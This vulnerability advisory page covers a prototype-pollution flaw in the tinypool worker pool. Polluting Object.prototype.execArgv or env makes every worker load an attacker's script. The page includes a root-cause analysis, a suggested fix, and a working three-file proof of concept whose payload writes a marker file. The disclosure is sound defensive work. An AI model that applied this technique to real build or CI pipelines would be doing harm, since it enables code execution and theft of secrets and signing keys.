Vulnerability details

9.5/10
CVSS 4.0
GHSA-5gmw-xhrv-c9v3
in_triage Published 2026-10-05 Updated 2026-10-05
Vulnerability Data from Dependency-Track
Description
`tinypool` passes worker options to `new Worker()` by reading them off a plain object whose prototype is `Object.prototype`. Options the application did not set are resolved through the prototype chain and then passed explicitly to `worker_threads.Worker`. Node core ignores `Worker` options inherited from `Object.prototype`. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection. Two keys reach code execution: 1. **`execArgv`** — polluting `Object.prototype.execArgv = ['--require', '/path/to/attacker.js']` causes every pool worker to load the attacker's script. 2. **`env`** — polluting `Object.prototype.env = { NODE_OPTIONS: '--require /path/to/attacker.js' }` achieves the same via environment injection. ## Root cause `dist/index.js` lines 508-511: ```js env: this.options.env, argv: this.options.argv, execArgv: this.options.execArgv, resourceLimits: this.options.resourceLimits, ``` `this.options` is built at line 470 via object spread: ```js this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 }; ``` ## Impact Arbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners — an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing). ## Proof of concept Minimal reproduction (3 files): **worker.mjs** — the application's own legitimate worker: ```js export default function double(n) { return n * 2 } ``` **payload.js** — attacker-controlled code (never referenced by the app): ```js const fs = require('fs') fs.writeFileSync('/tmp/RCE_PROOF.txt', 'code execution achieved, pid=' + process.pid) console.log('*** RCE ***') ``` **app.js** — normal tinypool usage: ```js const path = require('path') // Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge) Object.prototype.execArgv = ['--require', path.join(__dirname, 'payload.js')] const { Tinypool } = require('tinypool') const pool = new Tinypool({ filename: path.join(__dirname, 'worker.mjs'), minThreads: 1, maxThreads: 1 }) pool.run(21).then(r => { console.log('pool returned:', r) // 42 — app works normally pool.destroy() }) ``` Run: ``` npm i tinypool@2.1.0 node app.js cat /tmp/RCE_PROOF.txt # attacker's code ran ``` Both `execArgv` and `env` vectors confirmed on Node 20. ## Suggested fix Resolve worker options with own-property semantics: ```js this.options = Object.assign(Object.create(null), kDefaultOptions, options, { filename, maxQueue: 0 }); ```
Same vulnerability as
CVE-2026-104848 in_triage according to EUVD-2026-91718
Analysis Read only

CVE is a trademark and the CVE logo is a registered trademark of The MITRE Corporation. CVE data may be incomplete, delayed, or inaccurate. This website and all information provided are offered on an “as is” basis without warranties of any kind. This site is not affiliated with, endorsed by, or sponsored by the CVE Program or The MITRE Corporation.

This site uses data from the National Vulnerability Database (NVD), obtained through Dependency-Track, but is not endorsed or certified by the NVD or the National Institute of Standards and Technology (NIST). NVD data may be incomplete, delayed, or inaccurate.

CVSS (Common Vulnerability Scoring System) is owned and managed by FIRST.Org, Inc. and used by permission. The links on CVSS vectors open the FIRST CVSS calculators (CVSS 3.0, 3.1 and 4.0), or the NVD calculator for CVSS 2.0. This site is not affiliated with, endorsed by, or sponsored by FIRST.

GitHub is a trademark of GitHub, Inc. GHSA identifiers and advisory data come from the GitHub Advisory Database, licensed under CC-BY 4.0. GHSA data may be incomplete, delayed, or inaccurate. This site is not affiliated with, endorsed by, or sponsored by GitHub, Inc.

Source of the EUVD data: European Vulnerability Database (EUVD), © European Union Agency for Cybersecurity (ENISA), reused with acknowledgement of the source as provided by the ENISA legal notice and IPR policy. Changes: CVEManager does not display the EUVD records as such; it uses their aliases to link the CVE and GHSA identifiers designating the same vulnerability. EUVD data may be incomplete, delayed, or inaccurate. This site is not affiliated with, endorsed by, or sponsored by ENISA or the European Union.